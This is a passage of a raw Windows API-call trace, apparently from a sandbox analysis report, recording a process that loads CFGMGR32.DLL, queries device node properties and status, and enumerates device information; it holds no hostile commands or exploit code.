(hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0217.946] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0217.946] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0217.946] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0217.946] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0217.946] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0217.947] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0217.947] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0217.947] malloc (_Size=0x18) returned 0x20abc281fe0 [0217.947] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0217.950] malloc (_Size=0x48) returned 0x20abc27cb20 [0217.950] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3dacab51, dwHighDateTime=0x1d9eb0c)) [0217.950] SetEvent (hEvent=0x248) returned 1 [0217.953] malloc (_Size=0xd8) returned 0x20abc2867b0 [0217.953] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0217.954] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0217.954] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0217.954] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0217.954] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0217.954] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0217.954] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0217.954] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0217.955] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0217.955] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0217.955] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0217.955] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0217.955] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0217.955] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0217.955] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0217.956] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0217.956] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0217.956] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0217.956] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0217.956] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0217.956] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0217.956] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0217.957] malloc (_Size=0x18) returned 0x20abc281fc0 [0217.957] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0217.957] malloc (_Size=0x48) returned 0x20abc27cb20 [0217.957] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3dacab51, dwHighDateTime=0x1d9eb0c)) [0217.957] SetEvent (hEvent=0x248) returned 1 [0217.960] malloc (_Size=0xd8) returned 0x20abc2867b0 [0217.960] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0217.961] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0217.961] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0217.961] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0217.961] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0217.961] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0217.961] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0217.961] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0217.962] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0217.962] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0217.962] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0217.962] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0217.962] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0217.962] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0217.962] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0217.963] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0217.963] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0217.963] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0217.963] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0217.963] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0217.963] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0217.963] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0217.964] malloc (_Size=0x18) returned 0x20abc281fa0 [0217.964] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0217.964] malloc (_Size=0x48) returned 0x20abc27cb20 [0217.964] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3daf0cbe, dwHighDateTime=0x1d9eb0c)) [0217.964] SetEvent (hEvent=0x248) returned 1 [0217.967] malloc (_Size=0xd8) returned 0x20abc2867b0 [0217.967] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0217.968] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0217.968] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0217.968] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0217.968] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0217.968] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0217.968] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0217.968] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0217.969] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0217.969] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0217.969] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0217.969] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0217.969] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0217.969] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0217.969] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0217.970] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0217.970] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0217.970] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0217.970] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0217.970] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0217.970] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0217.970] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0217.970] malloc (_Size=0x18) returned 0x20abc281f60 [0217.971] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0217.971] malloc (_Size=0x48) returned 0x20abc27cf80 [0217.971] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3daf0cbe, dwHighDateTime=0x1d9eb0c)) [0217.971] SetEvent (hEvent=0x248) returned 1 [0218.063] malloc (_Size=0xd8) returned 0x20abc2867b0 [0218.063] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0218.063] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0218.063] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0218.063] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0218.063] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0218.063] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0218.064] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0218.064] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0218.064] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0218.064] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0218.064] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0218.064] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0218.064] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0218.065] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0218.065] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0218.065] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0218.065] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0218.065] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0218.065] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0218.065] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0218.066] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0218.066] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0218.066] malloc (_Size=0x18) returned 0x20abc282060 [0218.066] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0218.160] malloc (_Size=0x48) returned 0x20abc27cb20 [0218.160] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3dcbabb0, dwHighDateTime=0x1d9eb0c)) [0218.160] SetEvent (hEvent=0x248) returned 1 [0218.161] SetEvent (hEvent=0x248) returned 1 [0218.162] free (_Block=0x20abc27cb20) [0218.162] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0x3e, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0218.163] malloc (_Size=0x48) returned 0x20abc27cb20 [0218.163] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x3dcbabb0, dwHighDateTime=0x1d9eb0c)) [0218.163] SetEvent (hEvent=0x248) returned 1 [0218.165] SetEvent (hEvent=0x248) returned 1 [0218.166] free (_Block=0x20abc27cb20) [0218.166] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0x3e, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0218.167] malloc (_Size=0x48) returned 0x20abc27cb20 [0218.167] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x3dce0bfb, dwHighDateTime=0x1d9eb0c)) [0218.167] SetEvent (hEvent=0x248) returned 1 [0218.168] SetEvent (hEvent=0x248) returned 1 [0218.169] free (_Block=0x20abc27cb20) [0218.169] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x3e, ulProperty=0xd, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0218.169] malloc (_Size=0x48) returned 0x20abc27cb20 [0218.169] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x3dce0bfb, dwHighDateTime=0x1d9eb0c)) [0218.170] SetEvent (hEvent=0x248) returned 1 [0218.173] free (_Block=0x20abc2aaed0) [0218.173] free (_Block=0x20abc2aa390) [0218.174] free (_Block=0x20abc2aadb0) [0218.174] free (_Block=0x20abc2aaa50) [0218.174] free (_Block=0x20abc2aa4b0) [0218.175] free (_Block=0x20abc2ab0b0) [0218.175] free (_Block=0x20abc2aaab0) [0218.176] free (_Block=0x20abc2aa690) [0218.176] free (_Block=0x20abc2aab10) [0218.177] free (_Block=0x20abc2aa870) [0218.177] free (_Block=0x20abc2aa7b0) [0218.178] free (_Block=0x20abc2aa630) [0218.178] free (_Block=0x20abc2aab70) [0218.178] free (_Block=0x20abc2aa6f0) [0218.179] free (_Block=0x20abc2aa750) [0218.180] free (_Block=0x20abc2aa990) [0218.180] free (_Block=0x20abc2aa210) [0218.181] free (_Block=0x20abc2aa510) [0218.181] free (_Block=0x20abc2aa3f0) [0218.181] free (_Block=0x20abc2aaf30) [0218.182] free (_Block=0x20abc2aabd0) [0218.182] free (_Block=0x20abc2aa9f0) [0218.183] free (_Block=0x20abc2aaf90) [0218.183] free (_Block=0x20abc2aaff0) [0218.183] free (_Block=0x20abc2aa5d0) [0218.184] free (_Block=0x20abc2aacf0) [0218.184] free (_Block=0x20abc2aac30) [0218.184] free (_Block=0x20abc2aa810) [0218.185] free (_Block=0x20abc2aa8d0) [0218.185] free (_Block=0x20abc2aa930) [0218.186] free (_Block=0x20abc2aa450) [0218.186] free (_Block=0x20abc2ab050) [0218.186] free (_Block=0x20abc2aac90) [0218.187] free (_Block=0x20abc2aad50) [0218.187] free (_Block=0x20abc2aa570) [0218.187] free (_Block=0x20abc2aae10) [0218.188] free (_Block=0x20abc2ab110) [0218.188] free (_Block=0x20abc2aae70) [0218.188] free (_Block=0x20abc2aa270) [0218.189] free (_Block=0x20abc2aa2d0) [0218.189] free (_Block=0x20abc2aa330) [0218.190] free (_Block=0x20abc2a7300) [0218.191] free (_Block=0x20abc2a6e80) [0218.191] free (_Block=0x20abc2a7cc0) [0218.192] free (_Block=0x20abc2a75a0) [0218.192] free (_Block=0x20abc2a6e20) [0218.193] free (_Block=0x20abc2a6ee0) [0218.193] free (_Block=0x20abc2a7c00) [0218.194] free (_Block=0x20abc2a7b40) [0218.194] free (_Block=0x20abc2a6dc0) [0218.286] free (_Block=0x20abc2a7120) [0218.286] free (_Block=0x20abc2a7a20) [0218.287] free (_Block=0x20abc2a7840) [0218.288] free (_Block=0x20abc2a79c0) [0218.292] free (_Block=0x20abc2a6f40) [0218.293] free (_Block=0x20abc2a7960) [0218.293] free (_Block=0x20abc2a7360) [0218.294] free (_Block=0x20abc2a7180) [0218.295] free (_Block=0x20abc2a7720) [0218.296] free (_Block=0x20abc2a6fa0) [0218.296] free (_Block=0x20abc2a70c0) [0218.297] free (_Block=0x20abc2a78a0) [0218.606] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x4) returned 0x20abc4022d0 [0218.607] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x20abc4022d0, pulNumLanguages=0x2dc22fdde0 | out: pulNumLanguages=0x2dc22fdde0) returned 1 [0218.607] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abc4022d0) returned 1 [0218.607] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abc4021b0) returned 1 [0224.547] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0224.755] RtlRestoreLastWin32Error () returned 0x2dc20bf000 [0224.755] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x2dc22fdd18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2dc22fdc10 | out: pulNumLanguages=0x2dc22fdd18, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2dc22fdc10) returned 1 [0224.756] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x8) returned 0x20abc402070 [0224.756] RtlRestoreLastWin32Error () returned 0x2dc20bf000 [0224.756] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x2dc22fdd18, pwszLanguagesBuffer=0x20abc402070, pcchLanguagesBuffer=0x2dc22fdc10 | out: pulNumLanguages=0x2dc22fdd18, pwszLanguagesBuffer=0x20abc402070, pcchLanguagesBuffer=0x2dc22fdc10) returned 1 [0224.756] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x8) returned 0x20abc4022b0 [0224.756] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abc402070) returned 1 [0224.756] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x14) returned 0x20abba93af0 [0224.756] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x20abba93af0, pulNumLanguages=0x2dc22fdd18 | out: pulNumLanguages=0x2dc22fdd18) returned 1 [0224.756] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba93af0) returned 1 [0224.763] DevObjCreateDeviceInfoList () returned 0x20abc4763a0 [0224.763] DevObjGetClassDevs () returned 0x1 [0224.942] DevObjEnumDeviceInfo () returned 0x1 [0224.942] malloc (_Size=0x58) returned 0x20abc2a75a0 [0224.942] DevObjEnumDeviceInfo () returned 0x1 [0224.942] malloc (_Size=0x58) returned 0x20abc2a7a80 [0224.942] DevObjEnumDeviceInfo () returned 0x1 [0224.942] malloc (_Size=0x58) returned 0x20abc2a78a0 [0224.942] DevObjEnumDeviceInfo () returned 0x1 [0224.942] malloc (_Size=0x58) returned 0x20abc2a7ae0 [0224.942] DevObjEnumDeviceInfo () returned 0x1 [0224.942] malloc (_Size=0x58) returned 0x20abc2a7540 [0224.943] DevObjEnumDeviceInfo () returned 0x1 [0224.943] malloc (_Size=0x58) returned 0x20abc2a79c0 [0224.943] DevObjEnumDeviceInfo () returned 0x1 [0224.943] malloc (_Size=0x58) returned 0x20abc2a7c00 [0224.943] DevObjEnumDeviceInfo () returned 0x1 [0224.943] malloc (_Size=0x58) returned 0x20abc2a7b40 [0224.943] DevObjEnumDeviceInfo () returned 0x1 [0224.943] malloc (_Size=0x58) returned 0x20abc2a73c0 [0224.943] DevObjEnumDeviceInfo () returned 0x1 [0224.943] malloc (_Size=0x58) returned 0x20abc2a77e0 [0224.943] DevObjEnumDeviceInfo () returned 0x1 [0224.943] malloc (_Size=0x58) returned 0x20abc2a7a20 [0224.944] DevObjEnumDeviceInfo () returned 0x1 [0224.944] malloc (_Size=0x58) returned 0x20abc2a7960 [0224.944] DevObjEnumDeviceInfo () returned 0x1 [0224.944] malloc (_Size=0x58) returned 0x20abc2a7840 [0224.944] DevObjEnumDeviceInfo () returned 0x1 [0224.944] malloc (_Size=0x58) returned 0x20abc2a71e0 [0224.944] DevObjEnumDeviceInfo () returned 0x1 [0224.944] malloc (_Size=0x58) returned 0x20abc2a7c60 [0224.944] DevObjEnumDeviceInfo () returned 0x1 [0224.944] malloc (_Size=0x58) returned 0x20abc2a7420 [0224.945] DevObjEnumDeviceInfo () returned 0x1 [0224.945] malloc (_Size=0x58) returned 0x20abc2a7ba0 [0224.945] DevObjEnumDeviceInfo () returned 0x1 [0224.945] malloc (_Size=0x58) returned 0x20abc2a7900 [0224.945] DevObjEnumDeviceInfo () returned 0x1 [0224.945] malloc (_Size=0x58) returned 0x20abc2a7cc0 [0224.945] DevObjEnumDeviceInfo () returned 0x1 [0224.945] malloc (_Size=0x58) returned 0x20abc2a6dc0 [0224.945] DevObjEnumDeviceInfo () returned 0x1 [0224.945] malloc (_Size=0x58) returned 0x20abc2a6ee0 [0224.946] DevObjEnumDeviceInfo () returned 0x1 [0224.946] malloc (_Size=0x58) returned 0x20abc2a76c0 [0224.946] DevObjEnumDeviceInfo () returned 0x1 [0224.946] malloc (_Size=0x58) returned 0x20abc2a6e20 [0224.946] DevObjEnumDeviceInfo () returned 0x1 [0224.946] malloc (_Size=0x58) returned 0x20abc2a6e80 [0224.946] DevObjEnumDeviceInfo () returned 0x1 [0224.946] malloc (_Size=0x58) returned 0x20abc2a6f40 [0224.946] DevObjEnumDeviceInfo () returned 0x1 [0224.946] malloc (_Size=0x58) returned 0x20abc2a6fa0 [0224.946] DevObjEnumDeviceInfo () returned 0x1 [0224.946] malloc (_Size=0x58) returned 0x20abc2a7000 [0224.947] DevObjEnumDeviceInfo () returned 0x1 [0224.947] malloc (_Size=0x58) returned 0x20abc2a7060 [0224.947] DevObjEnumDeviceInfo () returned 0x1 [0224.947] malloc (_Size=0x58) returned 0x20abc2a70c0 [0224.947] DevObjEnumDeviceInfo () returned 0x1 [0224.947] malloc (_Size=0x58) returned 0x20abc2a7600 [0224.947] DevObjEnumDeviceInfo () returned 0x1 [0224.947] malloc (_Size=0x58) returned 0x20abc2a7120 [0224.947] DevObjEnumDeviceInfo () returned 0x1 [0224.947] malloc (_Size=0x58) returned 0x20abc2a7180 [0224.947] DevObjEnumDeviceInfo () returned 0x1 [0224.947] malloc (_Size=0x58) returned 0x20abc2a7240 [0224.948] DevObjEnumDeviceInfo () returned 0x1 [0224.948] malloc (_Size=0x58) returned 0x20abc2a7360 [0224.948] DevObjEnumDeviceInfo () returned 0x1 [0224.948] malloc (_Size=0x58) returned 0x20abc2a72a0 [0224.948] DevObjEnumDeviceInfo () returned 0x1 [0224.948] malloc (_Size=0x58) returned 0x20abc2a7300 [0224.948] DevObjEnumDeviceInfo () returned 0x1 [0224.948] malloc (_Size=0x58) returned 0x20abc2a7480 [0224.948] DevObjEnumDeviceInfo () returned 0x1 [0224.948] malloc (_Size=0x58) returned 0x20abc2a7660 [0224.948] DevObjEnumDeviceInfo () returned 0x1 [0224.948] malloc (_Size=0x58) returned 0x20abc2a74e0 [0224.949] DevObjEnumDeviceInfo () returned 0x1 [0224.949] malloc (_Size=0x58) returned 0x20abc2a7720 [0224.949] DevObjEnumDeviceInfo () returned 0x1 [0224.949] malloc (_Size=0x58) returned 0x20abc2a7780 [0224.949] DevObjEnumDeviceInfo () returned 0x1 [0224.949] malloc (_Size=0x58) returned 0x20abc2aa810 [0224.949] DevObjEnumDeviceInfo () returned 0x1 [0224.949] malloc (_Size=0x58) returned 0x20abc2aa630 [0224.949] DevObjEnumDeviceInfo () returned 0x1 [0224.949] malloc (_Size=0x58) returned 0x20abc2aa510 [0224.949] DevObjEnumDeviceInfo () returned 0x1 [0224.949] malloc (_Size=0x58) returned 0x20abc2aacf0 [0224.950] DevObjEnumDeviceInfo () returned 0x1 [0224.950] malloc (_Size=0x58) returned 0x20abc2aa870 [0224.950] DevObjEnumDeviceInfo () returned 0x1 [0224.950] malloc (_Size=0x58) returned 0x20abc2aa450 [0224.950] DevObjEnumDeviceInfo () returned 0x1 [0224.950] malloc (_Size=0x58) returned 0x20abc2aa270 [0224.950] DevObjEnumDeviceInfo () returned 0x1 [0224.950] malloc (_Size=0x58) returned 0x20abc2aab70 [0224.950] DevObjEnumDeviceInfo () returned 0x1 [0224.950] malloc 